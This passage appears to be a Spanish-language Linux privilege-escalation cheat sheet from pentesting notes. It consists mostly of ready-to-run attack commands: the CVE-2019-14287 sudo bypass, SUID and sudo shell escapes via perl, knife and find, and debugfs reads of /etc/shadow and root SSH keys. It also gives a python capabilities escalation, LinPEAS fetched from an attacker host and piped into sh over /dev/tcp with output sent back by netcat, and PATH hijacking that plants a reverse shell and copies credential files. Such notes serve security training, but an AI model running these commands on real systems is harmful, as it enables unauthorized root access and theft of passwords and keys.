extensión de archivo ```sh find / -regex ".*\.\(bak\|zip\)" 2>/dev/null find / -regex ".*\.\(txt\|doc\|csv\)" 2>/dev/null -exec grep -Iq . {} \; -printf "\n%p: " -exec cat {} \; ``` ## Búsqueda de directorios con privilegios de escritura ```sh find / -writable -type d 2>/dev/null find / -writable -type d -prune -o -name 2>/dev/null ``` # Sudo / SUID (Set User ID) ## Sudo ```shell sudo -l ``` ### CVE-2019–14287 ```shell # sudo <= 1.8.27 sudo -V sudo -u#-1 /bin/bash ``` ## SUID (Set User ID) ```shell find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \; ``` ## Perl ```shell sudo /usr/bin/perl -e 'exec "/bin/bash"' /usr/bin/perl -e '$ENV{"PATH"} = "/usr/bin"; exec "/bin/bash -p"' ``` ## knife ```shell sudo /usr/bin/knife exec -E "system('/bin/bash')" ``` ## find ```shell # Sudo sudo /usr/bin/find . -exec /bin/sh \; -quit # SUID find . -exec /bin/sh -p \; -quit ``` ## GTFOBins # Grupos ## Disk ```bash # Encuentra donde se encuentra montada la raíz "/" df -h debugfs /dev/ debugfs: cd /root debugfs: ls debugfs: cat /etc/shadow debugfs: cat /root/.ssh/id_rsa ``` # Capabilities ## General ```sh getcap -r / 2>/dev/null ``` ## Python ```sh /usr/bin/ -c 'import os; os.setuid(0); os.system("/bin/bash")' ``` # Herramientas automatizadas ## LinPEAS * ```bash # Máquina atacante python3 -m http.server 80 # Máquina victima wget http://:80/linpeas.sh chmod +x linpeas.sh ./linpeas.sh > linpeas-output.txt ``` ```bash # Máquina atacante nc -q 5 -lvnp < linpeas.sh # Máquina victima cat < /dev/tcp// | sh ``` ```bash # Máquina atacante nc -lvnp 1234 | tee linpeas.out nc -q 5 -lvnp 80 < linpeas.sh # Máquina victima cat < /dev/tcp//80 | sh | nc 1234 ``` # PATH Variable Creación de directorio de trabajo. ```bash cd ~ mkdir temp cd temp ``` Creación de binario que suplantará el binario original y asignación de sus privilegios. ```bash # opción 1: shell echo "/bin/bash" > echo "/bin/bash -c 'bash -i >& /dev/tcp// 0>&1'" > # opción 2: lectura de archivo echo "/bin/bash -c 'cat // > /home//temp/'" > echo "/bin/bash -c 'cat /etc/shadow > /home//temp/shadow'" > echo "/bin/bash -c 'cat /root/.ssh/id_rsa > /home//temp/id_rsa'" > # asignación de privilegios al binario chmod 777 ``` Incorporación de ruta a variable PATH. ```bash echo $PATH export PATH=/home//temp:$PATH echo $PATH ``` Ejecución de script o binario vulnerable. ```bash sudo //